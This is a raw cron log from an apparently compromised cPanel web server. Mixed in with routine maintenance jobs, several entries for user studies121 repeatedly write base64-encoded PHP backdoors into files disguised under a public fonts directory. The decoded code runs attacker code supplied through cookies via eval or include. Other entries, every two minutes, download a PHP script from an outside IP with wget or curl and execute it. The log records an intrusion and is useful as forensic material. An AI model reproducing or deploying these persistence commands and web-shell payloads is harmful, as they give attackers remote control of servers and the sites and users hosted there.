Feb 22 15:30:02 ip-184-168-122-23 CROND[8536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:30:02 ip-184-168-122-23 CROND[8534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:30:02 ip-184-168-122-23 CROND[8541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:31:01 ip-184-168-122-23 CROND[8891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:31:01 ip-184-168-122-23 CROND[8892]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:31:01 ip-184-168-122-23 CROND[8893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:31:01 ip-184-168-122-23 CROND[8896]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 15:31:01 ip-184-168-122-23 CROND[8897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:32:01 ip-184-168-122-23 CROND[9207]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:32:01 ip-184-168-122-23 CROND[9209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:32:01 ip-184-168-122-23 CROND[9211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:32:01 ip-184-168-122-23 CROND[9212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:32:01 ip-184-168-122-23 CROND[9210]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:33:01 ip-184-168-122-23 CROND[9613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:33:01 ip-184-168-122-23 CROND[9614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:33:01 ip-184-168-122-23 CROND[9616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:33:01 ip-184-168-122-23 CROND[9615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:34:01 ip-184-168-122-23 CROND[9922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:34:01 ip-184-168-122-23 CROND[9921]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:34:01 ip-184-168-122-23 CROND[9920]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:34:01 ip-184-168-122-23 CROND[9927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:34:01 ip-184-168-122-23 CROND[9928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:35:01 ip-184-168-122-23 CROND[10215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:35:01 ip-184-168-122-23 CROND[10217]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:35:01 ip-184-168-122-23 CROND[10221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:35:01 ip-184-168-122-23 CROND[10223]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 15:35:01 ip-184-168-122-23 CROND[10225]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 15:35:01 ip-184-168-122-23 CROND[10222]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 15:35:01 ip-184-168-122-23 CROND[10224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:35:01 ip-184-168-122-23 CROND[10226]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Feb 22 15:36:01 ip-184-168-122-23 CROND[10545]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:36:01 ip-184-168-122-23 CROND[10549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:36:01 ip-184-168-122-23 CROND[10548]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:36:01 ip-184-168-122-23 CROND[10546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:36:01 ip-184-168-122-23 CROND[10547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:37:01 ip-184-168-122-23 CROND[10877]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:37:01 ip-184-168-122-23 CROND[10878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:37:01 ip-184-168-122-23 CROND[10880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:37:01 ip-184-168-122-23 CROND[10879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:38:01 ip-184-168-122-23 CROND[11190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:38:01 ip-184-168-122-23 CROND[11194]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:38:01 ip-184-168-122-23 CROND[11192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:38:01 ip-184-168-122-23 CROND[11195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:38:01 ip-184-168-122-23 CROND[11196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:39:01 ip-184-168-122-23 CROND[11608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:39:02 ip-184-168-122-23 CROND[11612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:39:02 ip-184-168-122-23 CROND[11610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:39:02 ip-184-168-122-23 CROND[11613]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 15:39:02 ip-184-168-122-23 CROND[11609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:40:01 ip-184-168-122-23 CROND[11935]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 15:40:01 ip-184-168-122-23 CROND[11940]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 15:40:01 ip-184-168-122-23 CROND[11942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:40:01 ip-184-168-122-23 CROND[11945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:40:01 ip-184-168-122-23 CROND[11944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:40:01 ip-184-168-122-23 CROND[11946]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:40:01 ip-184-168-122-23 CROND[11947]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:40:01 ip-184-168-122-23 CROND[11948]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 15:41:01 ip-184-168-122-23 CROND[12276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:41:01 ip-184-168-122-23 CROND[12277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:41:01 ip-184-168-122-23 CROND[12279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:41:01 ip-184-168-122-23 CROND[12282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:42:01 ip-184-168-122-23 CROND[12591]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:42:01 ip-184-168-122-23 CROND[12594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:42:01 ip-184-168-122-23 CROND[12593]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:42:01 ip-184-168-122-23 CROND[12595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
